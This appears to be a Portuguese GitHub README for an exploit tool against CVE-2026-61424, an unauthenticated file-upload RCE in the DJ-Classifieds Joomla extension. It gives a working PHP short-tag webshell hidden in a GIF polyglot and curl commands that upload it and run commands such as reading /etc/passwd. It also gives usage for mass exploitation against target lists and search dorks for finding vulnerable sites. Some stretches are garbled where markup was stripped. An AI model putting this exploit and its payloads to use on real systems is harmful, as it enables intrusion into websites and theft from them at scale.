shinthink/cve-2026-61424Componente DJ-Classifieds para Joomla — RCE por Upload de Arquivo Não Autenticado. Bypass de filtro de 3 strings via short tags do PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Upload arbitrário de arquivos sem autenticação no DJ-Classifieds para Joomla. O endpoint da tarefa imageupload processa uploads de arquivos sem autenticação e depende de uma lista de bloqueio de 3 strings (<?php, , ) que é trivialmente contornada usando as tags curtas de abertura do PHP (). Combinado com um polyglot GIF, o arquivo enviado passa em todas as verificações de validação de imagem enquanto contém um webshell PHP totalmente funcional.
eval(base64<?=| Campo | Detalhe |
|---|---|
| CVE | CVE-2026-61424 |
| Produto | DJ-Classifieds (extensão Joomla da DJ-Extensions) |
| CVSS 4.0 | 10.0 (Crítico) |
| Tipo | CWE-434 — Upload de Arquivo sem Restrições |
| Descoberto | Phil Taylor / mySites.guru — 16 de julho de 2026 |
| Exploração | Confirmada em ambientes reais antes da divulgação |
| Status | Versão |
|---|---|
| Vulnerável | 1.0 — 3.11.1 |
| Corrigido | 3.11.2 (20 de julho de 2026) |
O método upload() em administrator/components/com_djclassifieds/lib/djupload.php está mapeado para a tarefa imageupload sem verificação de autenticação e sem validação de token CSRF.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
O scanner de conteúdo bloqueia apenas três strings literais:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
Isso bloqueia <?php, eval( e base64 — mas não as tags curtas de abertura do PHP:
<?=system($_GET['c']);?> ← 0/3 strings bloqueadas → PASSA
As tags curtas de eco do PHP (<?=) estão habilitadas por padrão desde o PHP 5.4.
GIF89a válido + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload com name=shell.gif.gif ✓ getimagesize() ✓ sem <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=id| Arquivo | Função |
|---|---|
administrator/components/com_djclassifieds/lib/djupload.php | Método upload() — sem autenticação, filtro de 3 strings |
components/com_djclassifieds/controller.php | Roteia a tarefa imageupload para upload() |
administrator/components/com_djclassifieds/djclassifieds.xml | Divulgação de versão via tag <version> |
Sondagens de scanners anônimos observadas em ambientes reais antes da divulgação:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
| Flag | Descrição | Padrão |
|---|---|---|
-t, --target | Host de um único alvo | — |
-f, --file | Arquivo com alvos (um por linha, comentários com #) | — |
-o, --output | Salvar URLs de RCE em arquivo | — |
--threads | Threads de trabalho para o modo em massa | 30 |
--no-cleanup | Não excluir o shell após o RCE | False |
--debug | Saída de depuração | False |
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
guest) com JFactory::getUser() antes de upload()JSession::checkToken() na tarefa imageuploadjpg, jpeg, png, gif)Esta ferramenta destina-se apenas a testes de segurança educacionais e autorizados. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita para testar. O autor não assume nenhuma responsabilidade por uso indevido ou danos.
| Recurso | Link |
|---|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| Descoberta mySites.guru | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| Comunicado de Segurança da DJ-Extensions | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| Registro CVE.org | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |
Não afiliado à DJ-Extensions ou mySites.guru.